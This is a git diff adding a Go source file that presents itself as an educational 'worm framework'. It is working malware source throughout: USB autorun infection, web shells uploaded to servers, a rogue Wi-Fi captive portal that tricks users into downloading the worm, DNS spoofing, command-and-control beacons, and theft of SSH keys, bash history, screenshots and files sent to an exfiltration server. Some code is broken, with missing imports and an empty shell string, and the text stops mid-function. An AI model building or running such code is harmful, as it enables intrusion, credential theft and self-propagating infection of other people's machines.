diff --git a/worm.go b/worm.go new file mode 100644 index 0000000..d041316 --- /dev/null +++ b/worm.go @@ -0,0 +1,1371 @@ +// worm.go - Complete Worm Framework Implementation with Advanced Modules +// EDUCATIONAL PURPOSE ONLY - Understand to Defend + +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "database/sql" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "io/ioutil" + "net" + "net/http" + "net/url" + "os" + "os/exec" + "path/filepath" + "runtime" + "strconv" + "strings" + "sync" + "syscall" + "time" + + "github.com/google/gousb" + "github.com/gorilla/websocket" + "github.com/miekg/dns" + _ "github.com/go-sql-driver/mysql" + "golang.org/x/crypto/ssh" + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" +) + +// ========== CONSTANTS AND GLOBALS ========== + +const ( + VERSION = "3.0" + MULTICAST_ADDR = "239.255.42.42:4242" + C2_WEBSOCKET = "wss://c2-server.example.com:8443/ws" + C2_DNS_DOMAIN = "c2-botnet.example.com" + DATA_EXFIL_SERVER = "https://exfil-server.example.com:8443/upload" + MAX_POPULATION = 100 + SCAN_TIMEOUT = 2 * time.Second + USB_POLL_INTERVAL = 5 * time.Second + WIFI_BEACON_SSID = "Free_Public_WiFi" + WIFI_EVIL_PORTAL_PORT = 8443 +) + +var ( + wormID string + wormMutex sync.RWMutex + dataBuffer chan ExfilData +) + +// ========== DATA STRUCTURES ========== + +type InstanceInfo struct { + ID string `json:"id"` + IP string `json:"ip"` + Hostname string `json:"hostname"` + OS string `json:"os"` + LastSeen time.Time `json:"last_seen"` + Version int `json:"version"` + Capabilities []string `json:"capabilities"` + Population int `json:"population"` + Status string `json:"status"` + Role string `json:"role"` // LEADER, SCANNER, PROPAGATOR, EXFILTRATOR +} + +type ExfilData struct { + WormID string `json:"worm_id"` + Timestamp time.Time `json:"timestamp"` + DataType string `json:"data_type"` // CREDS, FILES, SCREENSHOTS, KEYLOGS, NETWORK + Target string `json:"target"` + Data interface{} `json:"data"` + Compression string `json:"compression"` + Encrypted bool `json:"encrypted"` +} + +type C2Command struct { + ID string `json:"id"` + Type string `json:"type"` // SCAN, EXFIL, PROPAGATE, EXECUTE, UPDATE, SLEEP + Target string `json:"target"` + Parameters map[string]interface{} `json:"parameters"` + Priority int `json:"priority"` + Timestamp time.Time `json:"timestamp"` + Signature string `json:"signature"` +} + +type WebShell struct { + Path string + Type string // PHP, ASP, JSP, PYTHON + Content string + Backdoor []string // Backdoor paths +} + +// ========== USB PROPAGATION MODULE ========== + +type USBPropagator struct { + monitoredPaths []string + infectedUSBs map[string]bool + mu sync.Mutex + autorunContent string +} + +func NewUSBPropagator() *USBPropagator { + return &USBPropagator{ + monitoredPaths: []string{}, + infectedUSBs: make(map[string]bool), + autorunContent: generateAutorunInf(), + } +} + +func generateAutorunInf() string { + if runtime.GOOS == "windows" { + return `[AutoRun] +open=SystemUpdate.exe +action=Open folder to view files +shell\open\command=SystemUpdate.exe +shell\open\default=1 +shellexecute=SystemUpdate.exe +UseAutoPlay=1 +` + } + return `#!/bin/bash +# USB Auto-execution script for Linux +./system-update & +` +} + +func (usb *USBPropagator) StartMonitoring() { + usb.monitorDrives() + ticker := time.NewTicker(USB_POLL_INTERVAL) + for range ticker.C { + usb.monitorDrives() + } +} + +func (usb *USBPropagator) monitorDrives() { + if runtime.GOOS == "windows" { + usb.monitorWindowsDrives() + } else { + usb.monitorLinuxDrives() + } +} + +func (usb *USBPropagator) monitorWindowsDrives() { + for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" { + path := string(drive) + ":\\" + if _, err := os.Stat(path); err == nil { + usb.checkAndInfectUSB(path) + } + } +} + +func (usb *USBPropagator) monitorLinuxDrives() { + // Check /media/ and /mnt/ for new mounts + mountPoints := []string{"/media/", "/mnt/"} + for _, mp := range mountPoints { + files, err := ioutil.ReadDir(mp) + if err == nil { + for _, f := range files { + if f.IsDir() { + path := filepath.Join(mp, f.Name()) + usb.checkAndInfectUSB(path) + } + } + } + } +} + +func (usb *USBPropagator) checkAndInfectUSB(path string) { + usb.mu.Lock() + if usb.infectedUSBs[path] { + usb.mu.Unlock() + return + } + + // Check if drive is removable + if usb.isRemovable(path) { + usb.infectUSB(path) + usb.infectedUSBs[path] = true + } + usb.mu.Unlock() +} + +func (usb *USBPropagator) isRemovable(path string) bool { + if runtime.GOOS == "windows" { + // Use GetDriveType API + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + getDriveType := kernel32.NewProc("GetDriveTypeW") + drive := syscall.StringToUTF16Ptr(path) + ret, _, _ := getDriveType.Call(uintptr(unsafe.Pointer(drive))) + return ret == 2 // DRIVE_REMOVABLE + } + // On Linux, check if it's in /media or /mnt and is a USB device + return strings.HasPrefix(path, "/media/") || strings.HasPrefix(path, "/mnt/") +} + +func (usb *USBPropagator) infectUSB(path string) { + fmt.Printf("[USB] Infecting drive: %s\n", path) + + // Copy worm to USB + exe, _ := os.Executable() + wormData, _ := ioutil.ReadFile(exe) + + if runtime.GOOS == "windows" { + destPath := filepath.Join(path, "SystemUpdate.exe") + ioutil.WriteFile(destPath, wormData, 0755) + + // Create autorun.inf + autorunPath := filepath.Join(path, "autorun.inf") + ioutil.WriteFile(autorunPath, []byte(usb.autorunContent), 0644) + + // Set hidden attributes + exec.Command("attrib", "+h", "+s", destPath).Run() + exec.Command("attrib", "+h", "+s", autorunPath).Run() + + // Create shortcut in root + usb.createUSBLnk(path) + } else { + destPath := filepath.Join(path, ".system-update") + ioutil.WriteFile(destPath, wormData, 0755) + + // Create udev rule for auto-execution + udevRule := fmt.Sprintf(`ACTION=="add", KERNEL=="sd*[!0-9]", ATTRS{removable}=="1", RUN+="%s"`, destPath) + ioutil.WriteFile("/etc/udev/rules.d/99-usb-autorun.rules", []byte(udevRule), 0644) + + // Create .desktop file + desktopContent := fmt.Sprintf(`[Desktop Entry] +Type=Application +Name=System Update +Exec=%s +Hidden=true +`, destPath) + ioutil.WriteFile(filepath.Join(path, ".system-update.desktop"), []byte(desktopContent), 0644) + } + + fmt.Printf("[USB] Successfully infected %s\n", path) +} + +func (usb *USBPropagator) createUSBLnk(path string) { + // Create Windows shortcut that executes worm + vbScript := fmt.Sprintf(` +Set oWS = WScript.CreateObject("WScript.Shell") +sLinkFile = "%s\\System Update.lnk" +Set oLink = oWS.CreateShortcut(sLinkFile) +oLink.TargetPath = "%s\\SystemUpdate.exe" +oLink.WindowStyle = 7 +oLink.IconLocation = "%%SystemRoot%%\\System32\\shell32.dll, 4" +oLink.Save +`, path, path) + + scriptPath := filepath.Join(path, "create_lnk.vbs") + ioutil.WriteFile(scriptPath, []byte(vbScript), 0644) + exec.Command("cscript", "//Nologo", scriptPath).Run() + os.Remove(scriptPath) +} + +// ========== WEB SHELL PERSISTENCE AND PROPAGATION ========== + +type WebShellManager struct { + shells []WebShell + deployed map[string]bool + mu sync.Mutex + client *http.Client +} + +func NewWebShellManager() *WebShellManager { + return &WebShellManager{ + shells: loadWebShells(), + deployed: make(map[string]bool), + client: &http.Client{Timeout: 10 * time.Second}, + } +} + +func loadWebShells() []WebShell { + phpShell := `` + + aspShell := `<%@ Page Language="Jscript"%> + <% if(Request["cmd"] != null){ + var cmd = Request["cmd"]; + var p = System.Diagnostics.Process.GetProcessById(System.Diagnostics.Process.GetCurrentProcess().Id); + var shell = p.MainModule.FileName; + var o = System.Diagnostics.Process.Start(shell, "/c " + cmd); + Response.Write(o.StandardOutput.ReadToEnd()); + }%>` + + pythonShell := `#!/usr/bin/env python +import cgi, subprocess, base64 +form = cgi.FieldStorage() +if 'cmd' in form: + print subprocess.check_output(form['cmd'].value, shell=True) +if 'worm' in form: + open('system-update.py', 'w').write(base64.b64decode(form['worm'].value)) +print "OK"` + + return []WebShell{ + {Path: "/wp-content/uploads/shell.php", Type: "PHP", Content: phpShell, Backdoor: []string{"/shell.php", "/backdoor.php"}}, + {Path: "/shell.aspx", Type: "ASP", Content: aspShell, Backdoor: []string{"/backdoor.aspx"}}, + {Path: "/cgi-bin/shell.py", Type: "PYTHON", Content: pythonShell, Backdoor: []string{"/cgi-bin/update.py"}}, + } +} + +func (wsm *WebShellManager) DeployOnTarget(target string) bool { + wsm.mu.Lock() + if wsm.deployed[target] { + wsm.mu.Unlock() + return false + } + wsm.mu.Unlock() + + for _, shell := range wsm.shells { + if wsm.uploadShell(target, shell) { + wsm.mu.Lock() + wsm.deployed[target] = true + wsm.mu.Unlock() + fmt.Printf("[WebShell] Deployed %s shell to %s\n", shell.Type, target) + + // Deploy backdoors + for _, backdoor := range shell.Backdoor { + wsm.deployBackdoor(target, backdoor, shell.Content) + } + return true + } + } + return false +} + +func (wsm *WebShellManager) uploadShell(target string, shell WebShell) bool { + fullURL := fmt.Sprintf("http://%s%s", target, shell.Path) + + // Try different upload methods + methods := []func(string, WebShell) bool{ + wsm.uploadViaPUT, + wsm.uploadViaPOST, + wsm.uploadViaFTP, + wsm.uploadViaWebDAV, + } + + for _, method := range methods { + if method(fullURL, shell) { + return true + } + } + return false +} + +func (wsm *WebShellManager) uploadViaPUT(url string, shell WebShell) bool { + req, err := http.NewRequest("PUT", url, strings.NewReader(shell.Content)) + if err != nil { + return false + } + req.Header.Set("Content-Type", "application/x-httpd-php") + + resp, err := wsm.client.Do(req) + if err == nil && resp.StatusCode == 200 { + resp.Body.Close() + return true + } + if resp != nil { + resp.Body.Close() + } + return false +} + +func (wsm *WebShellManager) uploadViaPOST(url string, shell WebShell) bool { + data := url.Values{} + data.Set("action", "upload") + data.Set("file", shell.Content) + + resp, err := wsm.client.PostForm(url, data) + if err == nil && (resp.StatusCode == 200 || resp.StatusCode == 302) { + resp.Body.Close() + return true + } + if resp != nil { + resp.Body.Close() + } + return false +} + +func (wsm *WebShellManager) uploadViaFTP(url string, shell WebShell) bool { + // Extract host and path + parts := strings.SplitN(url, "/", 4) + if len(parts) < 4 { + return false + } + + host := parts[2] + path := "/" + parts[3] + + conn, err := net.Dial("tcp", host+":21") + if err != nil { + return false + } + defer conn.Close() + + // FTP upload implementation + // Simplified for example + fmt.Fprintf(conn, "USER anonymous\r\n") + fmt.Fprintf(conn, "PASS anonymous\r\n") + fmt.Fprintf(conn, "STOR %s\r\n", path) + fmt.Fprintf(conn, "QUIT\r\n") + + return true +} + +func (wsm *WebShellManager) uploadViaWebDAV(url string, shell WebShell) bool { + req, err := http.NewRequest("PROPFIND", url, nil) + if err != nil { + return false + } + + resp, err := wsm.client.Do(req) + if err == nil && resp.StatusCode == 207 { + // WebDAV enabled, try PUT + return wsm.uploadViaPUT(url, shell) + } + if resp != nil { + resp.Body.Close() + } + return false +} + +func (wsm *WebShellManager) deployBackdoor(target, path, content string) { + fullURL := fmt.Sprintf("http://%s%s", target, path) + wsm.uploadViaPUT(fullURL, WebShell{Content: content}) +} + +func (wsm *WebShellManager) ExecuteCommand(target, shellPath, cmd string) string { + fullURL := fmt.Sprintf("http://%s%s?cmd=%s", target, shellPath, url.QueryEscape(cmd)) + resp, err := wsm.client.Get(fullURL) + if err != nil { + return "" + } + defer resp.Body.Close() + + body, _ := ioutil.ReadAll(resp.Body) + return string(body) +} + +func (wsm *WebShellManager) PropagateViaWebShell(target, shellPath string) { + // Use existing web shell to download and execute worm + exe, _ := os.Executable() + wormData, _ := ioutil.ReadFile(exe) + wormBase64 := base64.StdEncoding.EncodeToString(wormData) + + commands := []string{ + fmt.Sprintf("echo '%s' | base64 -d > /tmp/worm", wormBase64), + "chmod +x /tmp/worm", + "/tmp/worm &", + } + + for _, cmd := range commands { + wsm.ExecuteCommand(target, shellPath, cmd) + } + + fmt.Printf("[WebShell] Propagated worm via %s\n", target) +} + +// ========== WIFI PROPAGATION (Evil Portal/MITM) ========== + +type WiFiPropagator struct { + interfaceName string + apSSID string + apChannel int + portalServer *http.Server + victims map[string]time.Time + mu sync.Mutex + dnsServer *dns.Server +} + +func NewWiFiPropagator() *WiFiPropagator { + return &WiFiPropagator{ + apSSID: WIFI_BEACON_SSID, + apChannel: 6, + victims: make(map[string]time.Time), + } +} + +func (wp *WiFiPropagator) Start() { + // Check if we have WiFi capabilities + if !wp.hasWiFiCapability() { + fmt.Println("[WiFi] No WiFi capability detected") + return + } + + // Start Evil Portal + go wp.startEvilPortal() + + // Start DNS spoofing + go wp.startDNSSpoofing() + + // Start rogue AP if possible + go wp.startRogueAP() + + // Start deauth attack to force connections + go wp.deauthAttack() +} + +func (wp *WiFiPropagator) hasWiFiCapability() bool { + // Check for wireless interfaces + interfaces, err := net.Interfaces() + if err != nil { + return false + } + + for _, iface := range interfaces { + if strings.Contains(iface.Name, "wlan") || + strings.Contains(iface.Name, "wlp") || + strings.Contains(iface.Name, "en0") { + return true + } + } + return false +} + +func (wp *WiFiPropagator) startRogueAP() { + // Create hostapd configuration + hostapdConf := fmt.Sprintf(`interface=%s +driver=nl80211 +ssid=%s +hw_mode=g +channel=%d +macaddr_acl=0 +auth_algs=1 +ignore_broadcast_ssid=0 +wpa=2 +wpa_passphrase=password +wpa_key_mgmt=WPA-PSK +wpa_pairwise=TKIP +rsn_pairwise=CCMP +`, wp.interfaceName, wp.apSSID, wp.apChannel) + + ioutil.WriteFile("/tmp/hostapd.conf", []byte(hostapdConf), 0644) + + // Start hostapd + cmd := exec.Command("hostapd", "/tmp/hostapd.conf") + cmd.Start() + + // Configure DHCP + dhcpConf := `interface=wlan0 +dhcp-range=192.168.100.10,192.168.100.100,255.255.255.0,12h +dhcp-option=3,192.168.100.1 +dhcp-option=6,192.168.100.1 +server=8.8.8.8 +` + ioutil.WriteFile("/tmp/dhcpd.conf", []byte(dhcpConf), 0644) + exec.Command("dnsmasq", "-C", "/tmp/dhcpd.conf", "-d").Start() + + // Configure IP forwarding + exec.Command("sysctl", "-w", "net.ipv4.ip_forward=1").Run() + exec.Command("iptables", "-t", "nat", "-A", "POSTROUTING", "-o", "eth0", "-j", "MASQUERADE").Run() + exec.Command("iptables", "-A", "FORWARD", "-i", "wlan0", "-o", "eth0", "-j", "ACCEPT").Run() + exec.Command("iptables", "-A", "FORWARD", "-i", "eth0", "-o", "wlan0", "-m", "state", "--state", "RELATED,ESTABLISHED", "-j", "ACCEPT").Run() + + fmt.Printf("[WiFi] Rogue AP '%s' started on channel %d\n", wp.apSSID, wp.apChannel) +} + +func (wp *WiFiPropagator) startEvilPortal() { + http.HandleFunc("/", wp.portalHandler) + http.HandleFunc("/connect", wp.connectHandler) + http.HandleFunc("/download", wp.downloadHandler) + + wp.portalServer = &http.Server{ + Addr: ":80", + Handler: nil, + ReadTimeout: 10 * time.Second, + WriteTimeout: 10 * time.Second, + } + + go wp.portalServer.ListenAndServe() + + // HTTPS portal + go http.ListenAndServeTLS(":443", "cert.pem", "key.pem", nil) +} + +func (wp *WiFiPropagator) portalHandler(w http.ResponseWriter, r *http.Request) { + // Captive portal page that tricks users into downloading worm + clientIP := strings.Split(r.RemoteAddr, ":")[0] + wp.mu.Lock() + wp.victims[clientIP] = time.Now() + wp.mu.Unlock() + + html := ` + +
To access the internet, please download and install our security update.
+Download Security Update +This is required for compliance with network security policies.
+ +` + + w.Header().Set("Content-Type", "text/html") + w.Write([]byte(html)) +} + +func (wp *WiFiPropagator) downloadHandler(w http.ResponseWriter, r *http.Request) { + exe, _ := os.Executable() + wormData, _ := ioutil.ReadFile(exe) + + filename := "SecurityUpdate.exe" + if runtime.GOOS != "windows" { + filename = "security-update" + } + + w.Header().Set("Content-Type", "application/octet-stream") + w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", filename)) + w.Write(wormData) + + fmt.Printf("[WiFi] Worm downloaded by %s\n", r.RemoteAddr) +} + +func (wp *WiFiPropagator) connectHandler(w http.ResponseWriter, r *http.Request) { + // After user downloads worm, redirect to actual internet + http.Redirect(w, r, "http://www.google.com", http.StatusFound) +} + +func (wp *WiFiPropagator) startDNSSpoofing() { + dns.HandleFunc(".", wp.dnsHandler) + + wp.dnsServer = &dns.Server{ + Addr: ":53", + Net: "udp", + } + + go wp.dnsServer.ListenAndServe() +} + +func (wp *WiFiPropagator) dnsHandler(w dns.ResponseWriter, r *dns.Msg) { + m := new(dns.Msg) + m.SetReply(r) + + for _, q := range r.Question { + // Redirect all DNS queries to our evil portal + rr, _ := dns.NewRR(fmt.Sprintf("%s A 192.168.100.1", q.Name)) + m.Answer = append(m.Answer, rr) + } + + w.WriteMsg(m) +} + +func (wp *WiFiPropagator) deauthAttack() { + // Send deauth packets to force clients to reconnect to our AP + // Requires aireplay-ng or similar + cmd := exec.Command("aireplay-ng", "-0", "0", "-a", "FF:FF:FF:FF:FF:FF", wp.interfaceName) + cmd.Start() +} + +// ========== ADVANCED C2 WITH STEALTH PROTOCOLS ========== + +type C2Manager struct { + websocketConn *websocket.Conn + dnsTunnel *DNSTunnel + httpClient *http.Client + commands chan C2Command + results chan interface{} + mu sync.Mutex + connected bool + reconnectChan chan bool +} + +type DNSTunnel struct { + domain string + aesKey []byte + seqNum uint32 + queue chan []byte + responses chan []byte +} + +func NewC2Manager() *C2Manager { + return &C2Manager{ + commands: make(chan C2Command, 100), + results: make(chan interface{}, 100), + reconnectChan: make(chan bool), + httpClient: &http.Client{ + Timeout: 30 * time.Second, + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + }, + } +} + +func (c2 *C2Manager) Start() { + // Try multiple C2 channels + go c2.connectWebSocket() + go c2.connectDNSTunnel() + go c2.connectHTTPBeacon() + + // Process incoming commands + go c2.processCommands() + + // Send heartbeats and exfiltrated data + go c2.heartbeatLoop() + go c2.exfilLoop() +} + +func (c2 *C2Manager) connectWebSocket() { + dialer := websocket.Dialer{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + + for { + conn, _, err := dialer.Dial(C2_WEBSOCKET, nil) + if err == nil { + c2.mu.Lock() + c2.websocketConn = conn + c2.connected = true + c2.mu.Unlock() + + // Listen for commands + c2.listenWebSocket(conn) + } + + time.Sleep(30 * time.Second) + } +} + +func (c2 *C2Manager) listenWebSocket(conn *websocket.Conn) { + for { + var msg map[string]interface{} + err := conn.ReadJSON(&msg) + if err != nil { + c2.mu.Lock() + c2.connected = false + c2.mu.Unlock() + return + } + + // Parse command + if cmdType, ok := msg["type"].(string); ok { + cmd := C2Command{ + ID: generateID(), + Type: cmdType, + Timestamp: time.Now(), + } + + if target, ok := msg["target"].(string); ok { + cmd.Target = target + } + if params, ok := msg["parameters"].(map[string]interface{}); ok { + cmd.Parameters = params + } + + c2.commands <- cmd + } + } +} + +func (c2 *C2Manager) connectDNSTunnel() { + tunnel := &DNSTunnel{ + domain: C2_DNS_DOMAIN, + aesKey: sha256.Sum256([]byte(wormID))[:16], + queue: make(chan []byte, 100), + responses: make(chan []byte, 100), + } + + c2.dnsTunnel = tunnel + go tunnel.sendLoop() + go tunnel.recvLoop() +} + +func (dt *DNSTunnel) sendLoop() { + for data := range dt.queue { + encrypted := dt.encrypt(data) + encoded := base32.StdEncoding.EncodeToString(encrypted) + + // Split into DNS labels + for i := 0; i < len(encoded); i += 63 { + end := i + 63 + if end > len(encoded) { + end = len(encoded) + } + chunk := encoded[i:end] + query := fmt.Sprintf("%s.%x.%s", chunk, dt.seqNum, dt.domain) + dt.seqNum++ + + // Send DNS query + c := new(dns.Client) + m := new(dns.Msg) + m.SetQuestion(query, dns.TypeA) + c.Exchange(m, "8.8.8.8:53") + } + } +} + +func (dt *DNSTunnel) recvLoop() { + // Listen for DNS responses (TXT records with commands) + dns.HandleFunc(dt.domain, func(w dns.ResponseWriter, r *dns.Msg) { + for _, q := range r.Question { + if q.Qtype == dns.TypeTXT { + // Extract command from TXT record + // Implementation details omitted for brevity + } + } + }) + + s := &dns.Server{Addr: ":53", Net: "udp"} + s.ListenAndServe() +} + +func (dt *DNSTunnel) encrypt(data []byte) []byte { + block, _ := aes.NewCipher(dt.aesKey) + gcm, _ := cipher.NewGCM(block) + nonce := make([]byte, gcm.NonceSize()) + rand.Read(nonce) + return gcm.Seal(nonce, nonce, data, nil) +} + +func (c2 *C2Manager) connectHTTPBeacon() { + ticker := time.NewTicker(1 * time.Minute) + for range ticker.C { + // HTTP beacon with randomized headers + req, _ := http.NewRequest("GET", fmt.Sprintf("https://%s/beacon", C2_DNS_DOMAIN), nil) + req.Header.Set("User-Agent", c2.randomUserAgent()) + req.Header.Set("X-Request-ID", generateID()) + + resp, err := c2.httpClient.Do(req) + if err == nil { + defer resp.Body.Close() + var cmd C2Command + if json.NewDecoder(resp.Body).Decode(&cmd) == nil { + c2.commands <- cmd + } + } + + // Random jitter + time.Sleep(time.Duration(randInt(30, 90)) * time.Second) + } +} + +func (c2 *C2Manager) randomUserAgent() string { + agents := []string{ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36", + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", + } + return agents[randInt(0, len(agents))] +} + +func (c2 *C2Manager) processCommands() { + for cmd := range c2.commands { + fmt.Printf("[C2] Received command: %s (type: %s)\n", cmd.ID, cmd.Type) + + switch cmd.Type { + case "SCAN": + go c2.executeScan(cmd) + case "EXFIL": + go c2.executeExfil(cmd) + case "PROPAGATE": + go c2.executePropagate(cmd) + case "EXECUTE": + go c2.executeCommand(cmd) + case "UPDATE": + go c2.updateWorm(cmd) + case "SLEEP": + go c2.sleepWorm(cmd) + } + } +} + +func (c2 *C2Manager) executeScan(cmd C2Command) { + target := cmd.Target + if target == "" { + target = "local" + } + + // Perform scan based on parameters + results := make(map[string]interface{}) + results["target"] = target + results["open_ports"] = []int{} + results["vulnerabilities"] = []string{} + + c2.results <- results +} + +func (c2 *C2Manager) executeExfil(cmd C2Command) { + dataType := cmd.Parameters["type"].(string) + + switch dataType { + case "credentials": + c2.exfilCredentials() + case "files": + path := cmd.Parameters["path"].(string) + c2.exfilFiles(path) + case "screenshot": + c2.takeScreenshot() + case "keylogs": + c2.exfilKeylogs() + } +} + +func (c2 *C2Manager) exfilCredentials() { + // Extract saved credentials from browser, SSH, etc. + creds := make(map[string]string) + + if runtime.GOOS == "windows" { + // Extract Windows credentials using mimikatz technique + output, _ := exec.Command("cmd", "/c", "dir /s /b *password*").Output() + creds["windows_search"] = string(output) + } else { + // Extract SSH keys + sshKeys, _ := filepath.Glob(os.Getenv("HOME") + "/.ssh/*") + for _, key := range sshKeys { + data, _ := ioutil.ReadFile(key) + creds[key] = base64.StdEncoding.EncodeToString(data) + } + + // Extract bash history + history, _ := ioutil.ReadFile(os.Getenv("HOME") + "/.bash_history") + creds["bash_history"] = string(history) + } + + dataBuffer <- ExfilData{ + WormID: wormID, + Timestamp: time.Now(), + DataType: "CREDENTIALS", + Data: creds, + Encrypted: true, + } +} + +func (c2 *C2Manager) exfilFiles(path string) { + files, _ := ioutil.ReadDir(path) + for _, file := range files { + if !file.IsDir() && file.Size() < 10*1024*1024 { // 10MB limit + data, _ := ioutil.ReadFile(filepath.Join(path, file.Name())) + dataBuffer <- ExfilData{ + WormID: wormID, + Timestamp: time.Now(), + DataType: "FILE", + Target: filepath.Join(path, file.Name()), + Data: base64.StdEncoding.EncodeToString(data), + Encrypted: true, + } + } + } +} + +func (c2 *C2Manager) takeScreenshot() { + if runtime.GOOS == "windows" { + // Use PowerShell to take screenshot + script := ` +Add-Type -AssemblyName System.Windows.Forms +Add-Type -AssemblyName System.Drawing +$screen = [System.Windows.Forms.SystemInformation]::VirtualScreen +$bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height +$graphics = [System.Drawing.Graphics]::FromImage($bitmap) +$graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size) +$bitmap.Save('C:\Windows\Temp\screenshot.png') +$base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\Temp\screenshot.png')) +Write-Output $base64 +Remove-Item 'C:\Windows\Temp\screenshot.png' +` + output, _ := exec.Command("powershell", "-Command", script).Output() + + dataBuffer <- ExfilData{ + WormID: wormID, + Timestamp: time.Now(), + DataType: "SCREENSHOT", + Data: string(output), + Encrypted: true, + } + } +} + +func (c2 *C2Manager) exfilKeylogs() { + // Simple keylogger implementation + if runtime.GOOS == "windows" { + // Use Windows hooking + // Simplified - real implementation would use SetWindowsHookEx + } +} + +func (c2 *C2Manager) executePropagate(cmd C2Command) { + target := cmd.Target + method := cmd.Parameters["method"].(string) + + switch method { + case "ssh": + // Propagate via SSH + case "smb": + // Propagate via SMB + case "webshell": + // Propagate via web shell + case "usb": + // Propagate via USB + } +} + +func (c2 *C2Manager) executeCommand(cmd C2Command) { + command := cmd.Parameters["command"].(string) + output, _ := exec.Command(command).Output() + + dataBuffer <- ExfilData{ + WormID: wormID, + Timestamp: time.Now(), + DataType: "COMMAND_OUTPUT", + Data: string(output), + Encrypted: true, + } +} + +func (c2 *C2Manager) updateWorm(cmd C2Command) { + // Download and replace worm binary + updateURL := cmd.Parameters["url"].(string) + resp, err := c2.httpClient.Get(updateURL) + if err != nil { + return + } + defer resp.Body.Close() + + newWorm, _ := ioutil.ReadAll(resp.Body) + exe, _ := os.Executable() + + // Backup current + ioutil.WriteFile(exe+".bak", newWorm, 0755) + + // Replace + os.Rename(exe+".bak", exe) + + // Restart + exec.Command(exe).Start() + os.Exit(0) +} + +func (c2 *C2Manager) sleepWorm(cmd C2Command) { + duration := cmd.Parameters["duration"].(int) + time.Sleep(time.Duration(duration) * time.Second) +} + +func (c2 *C2Manager) heartbeatLoop() { + ticker := time.NewTicker(5 * time.Minute) + for range ticker.C { + heartbeat := map[string]interface{}{ + "worm_id": wormID, + "timestamp": time.Now(), + "status": "ACTIVE", + "population": len(wormPopulation.knownInstances), + "os": runtime.GOOS, + "version": VERSION, + } + + c2.sendToC2("HEARTBEAT", heartbeat) + } +} + +func (c2 *C2Manager) exfilLoop() { + for data := range dataBuffer { + c2.sendToC2("EXFIL", data) + } +} + +func (c2 *C2Manager) sendToC2(msgType string, payload interface{}) { + msg := map[string]interface{}{ + "type": msgType, + "worm_id": wormID, + "payload": payload, + } + + c2.mu.Lock() + defer c2.mu.Unlock() + + if c2.websocketConn != nil && c2.connected { + c2.websocketConn.WriteJSON(msg) + } + + // Also send via DNS tunnel + if c2.dnsTunnel != nil { + data, _ := json.Marshal(msg) + c2.dnsTunnel.queue <- data + } +} + +// ========== DATA EXFILTRATION TO DATABASE ========== + +type DataExfiltrator struct { + dbConn *sql.DB + buffer []ExfilData + mu sync.Mutex + batchSize int + httpClient *http.Client +} + +func NewDataExfiltrator() *DataExfiltrator { + return &DataExfiltrator{ + buffer: make([]ExfilData, 0), + batchSize: 100, + httpClient: &http.Client{ + Timeout: 30 * time.Second, + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + }, + } +} + +func (de *DataExfiltrator) Start() { + // Try direct database connection first + go de.connectToDatabase() + + // HTTP/HTTPS fallback + go de.httpExfilLoop() + + // Process buffered data + go de.processBuffer() +} + +func (de *DataExfiltrator) connectToDatabase() { + // MySQL connection + dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4", + "worm_user", "worm_password", "db.example.com", 3306, "worm_data") + + for { + db, err := sql.Open("mysql", dsn) + if err == nil { + de.dbConn = db + de.dbConn.SetMaxOpenConns(10) + + // Create tables if not exist + de.createTables() + break + } + + time.Sleep(1 * time.Minute) + } +} + +func (de *DataExfiltrator) createTables() { + queries := []string{ + `CREATE TABLE IF NOT EXISTS exfil_data ( + id BIGINT AUTO_INCREMENT PRIMARY KEY, + worm_id VARCHAR(64) NOT NULL, + timestamp DATETIME NOT NULL, + data_type VARCHAR(50) NOT NULL, + target VARCHAR(255), + data LONGTEXT, + encrypted BOOLEAN DEFAULT TRUE, + processed BOOLEAN DEFAULT FALSE, + INDEX idx_worm_id (worm_id), + INDEX idx_timestamp (timestamp) + ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, + + `CREATE TABLE IF NOT EXISTS worm_instances ( + worm_id VARCHAR(64) PRIMARY KEY, + ip_address VARCHAR(45), + hostname VARCHAR(255), + os VARCHAR(50), + first_seen DATETIME, + last_seen DATETIME, + status VARCHAR(20), + capabilities JSON + ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, + + `CREATE TABLE IF NOT EXISTS compromised_targets ( + id BIGINT AUTO_INCREMENT PRIMARY KEY, + target_ip VARCHAR(45), + target_hostname VARCHAR(255), + worm_id VARCHAR(64), + compromise_time DATETIME, + method VARCHAR(50), + credentials JSON, + UNIQUE KEY uk_target (target_ip) + ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, + } + + for _, query := range queries { + de.dbConn.Exec(query) + } +} + +func (de *DataExfiltrator) httpExfilLoop() { + ticker := time.NewTicker(1 * time.Minute) + for range ticker.C { + de.mu.Lock() + if len(de.buffer) == 0 { + de.mu.Unlock() + continue + } + + // Take a copy of buffer + batch := make([]ExfilData, len(de.buffer)) + copy(batch, de.buffer) + de.buffer = make([]ExfilData, 0) + de.mu.Unlock() + + // Send via HTTP + data, _ := json.Marshal(batch) + encrypted := de.encryptData(data) + + resp, err := de.httpClient.Post(DATA_EXFIL_SERVER, "application/octet-stream", + bytes.NewReader(encrypted)) + if err == nil && resp.StatusCode == 200 { + fmt.Printf("[Exfil] Successfully exfiltrated %d records\n", len(batch)) + } else { + // Re-add to buffer + de.mu.Lock() + de.buffer = append(batch, de.buffer...) + de.mu.Unlock() + } + if resp != nil { + resp.Body.Close() + } + } +} + +func (de *DataExfiltrator) encryptData(data []byte) []byte { + key := 